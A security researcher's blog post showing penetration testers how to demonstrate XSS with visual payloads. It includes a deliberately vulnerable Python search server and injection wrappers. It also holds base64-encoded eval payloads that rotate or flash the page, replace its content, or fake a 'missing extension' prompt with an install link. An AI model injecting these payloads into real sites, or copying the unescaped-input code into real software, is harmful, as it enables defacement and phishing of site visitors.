Visualizing XSS With Unusual Payloads

(Updated: )

Foreword â–Ľ
Read Time 7 minutes
Goal This posts is ment to give penetration testers a way to demonstrate XSS vulnerabilities to a client by showing visual impact and control.
Audience
Disclaimer This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.

Typically, demonstrating Cross-Site Scripting (XSS) vulnerabilities involves one of two approaches:

  • Look, I made your site display an alert.
  • I’ve stolen your cookies, credit card and cat.

What if there was a third approach. Some visual, less invasive method, which would still demonstrate the potential impact of an XSS vulnerability? In this story I’m diving into some visual payloads, which aim to do just that. Have fun reading, and don’t take this one too seriously!

A quick heads-up before you start. It’s technically possible to combine some of the payloads described below. Don’t do this. You’ll get sick.

Horrible Server

In a previous post I set up a pretty terrible Python server to demonstrate XSS. I’ve made it a bit worse, and upgraded its name to Horrible Server. This server is vulnerable to a few variants of XSS injection, but now also has a functional search function.

Before showing the entire script, lets zoom in on the vulnerable line:

<input id="q" name="q" type="text" class="form-control me-2" placeholder="Search..." value=\"""" + query + """\">

The user input (query) is injected straight into the HTML string, whilst creating an illusion of protection by surrounding it with double quotes.

Imagine this basic example ?q=color" style="color:red;. Because of the double quote and direct injection, it breaks out of the HTML attribute, resulting in the following:

<input id="q" name="q" type="text" class="form-control me-2" placeholder="Search..." value="color" style="color:red;">

Without actually injecting JavaScript into the page, this gives us a nice hint that the page can be manipulated through the query string. Small detail, watch the quotes. If the vulnerable server would use single quotes to wrap the attributes, you would need single quotes to escape as well.

TestShowing the HTML outputted by the horrible server
What a pretty search function

Now, before diving into some XSS experiments, here’s the code for the Horrible Server:

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs

dummy_data = [ 'example 1', 'item 2', 'something else 3' ]

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()

            query_components = parse_qs(urlparse(self.path).query)
            query = query_components.get('q', [''])[0]
            data = str.join('', [ f"<li class='list-group-item'>{item}</li>" for item in dummy_data if (query or '').lower() in item ])
            results = f"<ul class='list-group'>{data}</ul>" if len(data) > 0 else '<span>No search results</span>'
            self.wfile.write(bytes("""<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>XSS Example Page</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"></head>
<body>
    <div class="container mt-4">
        <h1 class="text-center mb-4">XSS Example Page</h1>
        <form action="/" class="d-flex justify-content-center mb-4">
            <input id="q" name="q" type="text" class="form-control me-2" placeholder="Search..." value=\"""" + query + """\">
            <button type="submit" class="btn btn-primary">Search</button>
        </form>
        <br /><div id="results"><h2>Search results</h2>"""+results+"""</div>
    </div>
</body>
</html>""", 'utf-8'))

if __name__ == '__main__':
    server_address = ('0.0.0.0', 80)
    httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
    try: httpd.serve_forever()
    except KeyboardInterrupt: pass
    finally: httpd.server_close()

First steps

So, this time, lets not start by using a JavaScript alert to prove XSS. Lets try something different! With the following payload, when XSS is achieved, the documents’ body is replaced:

// The payload:
document.replaceChildren();
let h = document.createElement('h1');
h.innerText='You won';
h.style='color:red;text-align:center';
document.append(h);

// Same payload, base64 encoded:
eval(atob('ZG9jdW1lbnQucmVwbGFjZUNoaWxkcmVuKCk7bGV0IGggPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdoMScpO2guaW5uZXJUZXh0PSdZb3Ugd29uJztoLnN0eWxlPSdjb2xvcjpyZWQ7dGV4dC1hbGlnbjpjZW50ZXInO2RvY3VtZW50LmFwcGVuZChoKTsK'))

Lets give it a try, using one of these example injections:

  • Script tag: "><script>eval(atob(''))</script><a href="/
  • Focus: " autofocus onfocus="eval(atob(''))
  • Image tag: "><img src=1 onerror="eval(atob(''))

In this case, my wrapper of choice is the onload variant. I’ve tested all payloads in this story using that payload. By the way, if you’re ever looking for ways to test XSS, I recommend looking at PortSwiggers’ XSS cheat sheet. It contains many awesome examples!

When executed, the entire page is replaced with my message:

Replacing the entire HTML page
Where did my search function go?

Crank it up

Okay, we’re able to manipulate the page using this technique. Let see if instead of replacing the content, we can add something that could influence the users’ behaviour:

const a = Object.assign(document.createElement('a'), { href: 'https://pampuna.nl/', innerText: 'Install XYZ here' });
const s = Object.assign(document.createElement('span'), { innerText: 'Oh no, you are missing the XYZ extension. Without it, you are unable to use the search feature.', style: 'color: orange;' });
const [search, button] = ['input', 'button'].map(tag => document.getElementsByTagName(tag)[0]);
search.disabled = button.disabled = true;
search.placeholder = 'XYZ missing';
document.getElementsByTagName('form')[0].after(s, a);
document.getElementById('results').remove();

// Same payload, base64 encoded:
eval(atob('Y29uc3QgYSA9IE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpLCB7IGhyZWY6ICdodHRwczovL3BhbXB1bmEubmwvJywgaW5uZXJUZXh0OiAnSW5zdGFsbCBYWVogaGVyZScgfSk7CmNvbnN0IHMgPSBPYmplY3QuYXNzaWduKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKSwgeyBpbm5lclRleHQ6ICdPaCBubywgeW91IGFyZSBtaXNzaW5nIHRoZSBYWVogZXh0ZW5zaW9uLiBXaXRob3V0IGl0LCB5b3UgYXJlIHVuYWJsZSB0byB1c2UgdGhlIHNlYXJjaCBmZWF0dXJlLicsIHN0eWxlOiAnY29sb3I6IG9yYW5nZTsnIH0pOwpjb25zdCBbc2VhcmNoLCBidXR0b25dID0gWydpbnB1dCcsICdidXR0b24nXS5tYXAodGFnID0+IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKHRhZylbMF0pOwpzZWFyY2guZGlzYWJsZWQgPSBidXR0b24uZGlzYWJsZWQgPSB0cnVlOwpzZWFyY2gucGxhY2Vob2xkZXIgPSAnWFlaIG1pc3NpbmcnOwpkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnZm9ybScpWzBdLmFmdGVyKHMsIGEpOwpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVzdWx0cycpLnJlbW92ZSgpOw=='))

The above script creates two elements, a guiding text and a link. It then inserts those into the page and disables the search bar and button. This way, within a trusted context, a user can be told something needs to be installed or a link should be clicked:

Persuading someone to click a link
Should I click this link?

More, more!

Okay, okay, I said fun, this is getting serious again. Lets take a step back, and enjoy some JavaScript chaos!

A classic

Remember the Google barrel roll? It still does that, so why shouldn’t we?

Round and round we go
Round and round we go

The code is pretty straightforward, use transforms to keep rotating the body 10 degrees:

(function barrelRoll(){document.body.style.transform=`rotate(${(document.body.style.transform.replace('rotate(','').replace('deg)','')|0)+10}deg)`;requestAnimationFrame(barrelRoll)})();

/* Base64 alternative: */
eval(atob('KGZ1bmN0aW9uIGJhcnJlbFJvbGwoKXtkb2N1bWVudC5ib2R5LnN0eWxlLnRyYW5zZm9ybT1gcm90YXRlKCR7KGRvY3VtZW50LmJvZHkuc3R5bGUudHJhbnNmb3JtLnJlcGxhY2UoJ3JvdGF0ZSgnLCcnKS5yZXBsYWNlKCdkZWcpJywnJyl8MCkrMTB9ZGVnKWA7cmVxdWVzdEFuaW1hdGlvbkZyYW1lKGJhcnJlbFJvbGwpfSkoKTs='))

Mirror

We can all read in reverse right? Now everyone will have to.

Mirror, mirror on the wall
!egaP elpmaxE SSX

The script rotates the screen 180 degrees using a transition.

(function mirror() {
  document.body.style.transform = 'rotateY(180deg)';
  document.body.style.transition = 'transform 1s';
})();

// Same payload, base64 encoded:
eval(atob('KGZ1bmN0aW9uIG1pcnJvcigpIHsKICBkb2N1bWVudC5ib2R5LnN0eWxlLnRyYW5zZm9ybSA9ICdyb3RhdGVZKDE4MGRlZyknOwogIGRvY3VtZW50LmJvZHkuc3R5bGUudHJhbnNpdGlvbiA9ICd0cmFuc2Zvcm0gMXMnOwp9KSgpOw=='))

Flashbang

I’m not an expert, but you should consider skipping this one if you can’t handle flashing screens!

The script first creates a map of 50 random color codes. It then switches to a new random color at an interval.

const colors = [...Array(50)].map(() => `#${(Math.random()*0xffffff<<0).toString(16).padStart(6,'0')}`);
(function disco() {
  document.body.style.backgroundColor = colors[Math.floor(Math.random() * colors.length)];
  setTimeout(disco, 50);
})();

// Same payload, base64 encoded:
eval(atob('Y29uc3QgY29sb3JzID0gWy4uLkFycmF5KDUwKV0ubWFwKCgpID0+IGAjJHsoTWF0aC5yYW5kb20oKSoweGZmZmZmZjw8MCkudG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDYsJzAnKX1gKTsKKGZ1bmN0aW9uIGRpc2NvKCkgewogIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gY29sb3JzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNvbG9ycy5sZW5ndGgpXTsKICBzZXRUaW1lb3V0KGRpc2NvLCA1MCk7Cn0pKCk7'))

Characters

Well, this one is just weird. It does remind me of a bit of a movie. Lets explore that a bit more in the final chapter of this adventure.

Characters spawning everywhere
I'm not feeling well

The script creates a map of visible characters, then repeatedly creates a div at a random position, selects a random character and spawns it.

const characters = [...Array(94)].map((_, i) => String.fromCharCode(i + 33));
(function spawn() {
    let div = document.createElement('div');
    Object.assign(div.style, {
        position: 'absolute',
        left: Math.random() * window.innerWidth + 'px',
        top: Math.random() * window.innerHeight + 'px'
    });
    div.textContent = characters[Math.floor(Math.random() * characters.length)];
    document.body.appendChild(div);
  setTimeout(spawn, 50);
})();

// Same payload, base64 encoded:
eval(atob('Y29uc3QgY2hhcmFjdGVycyA9IFsuLi5BcnJheSg5NCldLm1hcCgoXywgaSkgPT4gU3RyaW5nLmZyb21DaGFyQ29kZShpICsgMzMpKTsKKGZ1bmN0aW9uIHNwYXduKCkgewogICAgbGV0IGRpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgT2JqZWN0LmFzc2lnbihkaXYuc3R5bGUsIHsKICAgICAgICBwb3NpdGlvbjogJ2Fic29sdXRlJywKICAgICAgICBsZWZ0OiBNYXRoLnJhbmRvbSgpICogd2luZG93LmlubmVyV2lkdGggKyAncHgnLAogICAgICAgIHRvcDogTWF0aC5yYW5kb20oKSAqIHdpbmRvdy5pbm5lckhlaWdodCArICdweCcKICAgIH0pOwogICAgZGl2LnRleHRDb250ZW50ID0gY2hhcmFjdGVyc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzLmxlbmd0aCldOwogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkaXYpOwogIHNldFRpbWVvdXQoc3Bhd24sIDUwKTsKfSkoKTs='))

Red Or Blue Pill

This is not the direction where I initially thought this story was headed. Anyway, here we are.

We’ve arrived at the pinnacle of demonstrating the impact of Cross-Site Scripting by letting the user think they are in the Matrix. Awesome, right?

Make it rain
Making it rain

A summary of the script does:

  • Set the background to black.
  • Create alist of ASCII visible characters 33 to 126.
  • Determine the amount of columns needed to fill the screen.
  • Create the vertical columns.
  • For each column, keep creating randomized characters just above the visible window.
  • Keep moving the characters down at a randomized pace.
  • Remove the characters once they fall out of the visible window.

The full JavaScript code:

(() => {
    Object.assign(document.body.style, { backgroundColor: 'black', margin: '0', overflow: 'hidden' });
    const characters = [...Array(94)].map((_, i) => String.fromCharCode(i + 33)); // From ASCII 33 to 126
    const amountOfColumns = Math.floor(window.innerWidth / 20);
    const columns = document.body.appendChild(Object.assign(document.createElement('div'), { 
        style: 'position: absolute; top: 0; left: 0; width: 100%; height: 100%; overflow: hidden; pointer-events: none;' 
    }));

    // Create divs for each stream
    for (let i = 0; i < amountOfColumns; i++) {
        const column = Object.assign(document.createElement('div'), {
            style: `position: absolute; left: ${i * 20}px; top: 0px; font-family: monospace; font-size: 20px; color: green; user-select: none;`
        });
        columns.appendChild(column);
        const drips = [];
        function rain() {
            const drop = Object.assign(document.createElement('div'), {
                textContent: characters[Math.floor(Math.random() * characters.length)],
                style: `position: absolute; top: -20px;`
            });
            column.appendChild(drop);
            drips.push(drop);

            // Move the character down
            function drip() {
                const newTop = parseInt(drop.style.top) + 20;
                drop.style.top = `${newTop}px`; // Move it down

                if (newTop > window.innerHeight) {
                    // If the character is off the screen, remove it
                    drop.remove();
                    const index = drips.indexOf(drop);
                    if (index !== -1) { drips.splice(index, 1); }
                }
                setTimeout(drip, 50 + (Math.random() * 50)); // Randomize speed
            }
            drip();
            setTimeout(rain, 100 + (Math.random() * 300)); // Random interval for new characters
        }
        rain();
    }
})();

/*One final time, the code in base64. Note that the code has been minified to reduce its size. */
eval(atob('KCgpPT57T2JqZWN0LmFzc2lnbihkb2N1bWVudC5ib2R5LnN0eWxlLHtiYWNrZ3JvdW5kQ29sb3I6ImJsYWNrIixtYXJnaW46IjAiLG92ZXJmbG93OiJoaWRkZW4ifSk7Y29uc3QgZT1bLi4uQXJyYXkoOTQpXS5tYXAoKChlLHQpPT5TdHJpbmcuZnJvbUNoYXJDb2RlKHQrMzMpKSksdD1NYXRoLmZsb29yKHdpbmRvdy5pbm5lcldpZHRoLzIwKSxvPWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoT2JqZWN0LmFzc2lnbihkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSx7c3R5bGU6InBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwOyBsZWZ0OiAwOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBvdmVyZmxvdzogaGlkZGVuOyBwb2ludGVyLWV2ZW50czogbm9uZTsifSkpO2ZvcihsZXQgaT0wO2k8dDtpKyspe2NvbnN0IHM9T2JqZWN0LmFzc2lnbihkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSx7c3R5bGU6YHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogJHsyMCppfXB4OyB0b3A6IDBweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgZm9udC1zaXplOiAyMHB4OyBjb2xvcjogZ3JlZW47IHVzZXItc2VsZWN0OiBub25lO2B9KTtvLmFwcGVuZENoaWxkKHMpO2NvbnN0IGE9W107ZnVuY3Rpb24gbigpe2NvbnN0IHQ9T2JqZWN0LmFzc2lnbihkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSx7dGV4dENvbnRlbnQ6ZVtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqZS5sZW5ndGgpXSxzdHlsZToicG9zaXRpb246IGFic29sdXRlOyB0b3A6IC0yMHB4OyJ9KTtzLmFwcGVuZENoaWxkKHQpLGEucHVzaCh0KSxmdW5jdGlvbiBlKCl7Y29uc3Qgbz1wYXJzZUludCh0LnN0eWxlLnRvcCkrMjA7aWYodC5zdHlsZS50b3A9YCR7b31weGAsbz53aW5kb3cuaW5uZXJIZWlnaHQpe3QucmVtb3ZlKCk7Y29uc3QgZT1hLmluZGV4T2YodCk7LTEhPT1lJiZhLnNwbGljZShlLDEpfXNldFRpbWVvdXQoZSw1MCs1MCpNYXRoLnJhbmRvbSgpKX0oKSxzZXRUaW1lb3V0KG4sMTAwKzMwMCpNYXRoLnJhbmRvbSgpKX1uKCl9fSkoKTs='))

The end

So, did you make it to the end? I hope you had fun experimenting with these payloads! In my previous story, Python Powered XSS Payload Server, I mostly discussed payloads with serious consequences. However, the payloads showcased here are meant to be more lighthearted. That said, they still demonstrate the extent of control an attacker can gain over a webpage using XSS.

Written by

Rutger
Rutger

Security researcher

Related Articles

Controlling XSS Using A Secure WebSocket CLI

Controlling XSS Using A Secure WebSocket CLI

When experimenting with Cross-Site Scripting (XSS), what’s the quickest way to test multiple payloads efficiently?...

By Rutger on
Building A Pattern-based XSS Recon Tool

Building A Pattern-based XSS Recon Tool

Even with excellent tools available, I often find myself enjoying the process of building my...

By Rutger on